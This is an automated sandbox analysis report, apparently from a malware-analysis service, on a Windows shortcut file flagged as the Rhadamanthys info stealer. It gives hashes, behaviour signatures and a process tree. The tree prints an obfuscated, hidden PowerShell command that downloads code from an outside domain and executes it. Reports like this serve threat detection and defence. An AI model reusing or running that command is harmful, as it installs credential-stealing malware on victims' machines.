Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 11:39

General

  • Target

    DOC5723 - 57235723.lnk

  • Size

    10KB

  • MD5

    dec2ee189e7b882fd5059db29646d4c2

  • SHA1

    d7ae2f7991fecf19f24c37c3b8034c98f1b3f12f

  • SHA256

    eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0

  • SHA512

    e37dd83c3e98c59df3cbedd0ea6623617833e84d20a26102b7f9a7d960a19e241dccec19b19d812117f39499a373602f03436db64e121e18d91b4d40da7ca47e

  • SSDEEP

    192:8z5z9h43MSBfSW7rD6N+7yURE5sJloSR6wVlZevESj0s+l2UeU/poOEDhK9Mtd:u53+MS5hrDqLiJ/R6kn0n2kU/p0DhHtd

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2420
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4416
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1560
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3744 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:4308

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b13xo30x.aud.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1560-23-0x00007FFEF3D40000-0x00007FFEF4009000-memory.dmp

        Filesize

        2.8MB

      • memory/1560-18-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

        Filesize

        4.0MB

      • memory/1560-22-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

        Filesize

        4.0MB

      • memory/1560-14-0x00000180296D0000-0x00000180296E0000-memory.dmp

        Filesize

        64KB

      • memory/1560-15-0x0000018029D90000-0x0000018029DEE000-memory.dmp

        Filesize

        376KB

      • memory/1560-16-0x00000180114F0000-0x0000018011500000-memory.dmp

        Filesize

        64KB

      • memory/1560-17-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

        Filesize

        4.0MB

      • memory/1560-29-0x00000180114F0000-0x0000018011500000-memory.dmp

        Filesize

        64KB

      • memory/1560-19-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

        Filesize

        4.0MB

      • memory/1560-21-0x00007FFEF5320000-0x00007FFEF53DE000-memory.dmp

        Filesize

        760KB

      • memory/1560-13-0x00000180296D0000-0x00000180296E0000-memory.dmp

        Filesize

        64KB

      • memory/1560-12-0x00007FFED75D0000-0x00007FFED8091000-memory.dmp

        Filesize

        10.8MB

      • memory/1560-20-0x00007FFEF6070000-0x00007FFEF6265000-memory.dmp

        Filesize

        2.0MB

      • memory/1560-11-0x0000018029610000-0x0000018029632000-memory.dmp

        Filesize

        136KB

      • memory/1560-27-0x00007FFED75D0000-0x00007FFED8091000-memory.dmp

        Filesize

        10.8MB

      • memory/1560-30-0x0000018029DF0000-0x000001802A1F0000-memory.dmp

        Filesize

        4.0MB

      • memory/4416-36-0x000001DD415A0000-0x000001DD419A0000-memory.dmp

        Filesize

        4.0MB

      • memory/4416-31-0x000001DD415A0000-0x000001DD419A0000-memory.dmp

        Filesize

        4.0MB

      • memory/4416-32-0x00007FFEF6070000-0x00007FFEF6265000-memory.dmp

        Filesize

        2.0MB

      • memory/4416-34-0x00007FFEF5320000-0x00007FFEF53DE000-memory.dmp

        Filesize

        760KB

      • memory/4416-33-0x000001DD415A0000-0x000001DD419A0000-memory.dmp

        Filesize

        4.0MB

      • memory/4416-35-0x00007FFEF3D40000-0x00007FFEF4009000-memory.dmp

        Filesize

        2.8MB

      • memory/4416-24-0x000001DD3FB00000-0x000001DD3FB09000-memory.dmp

        Filesize

        36KB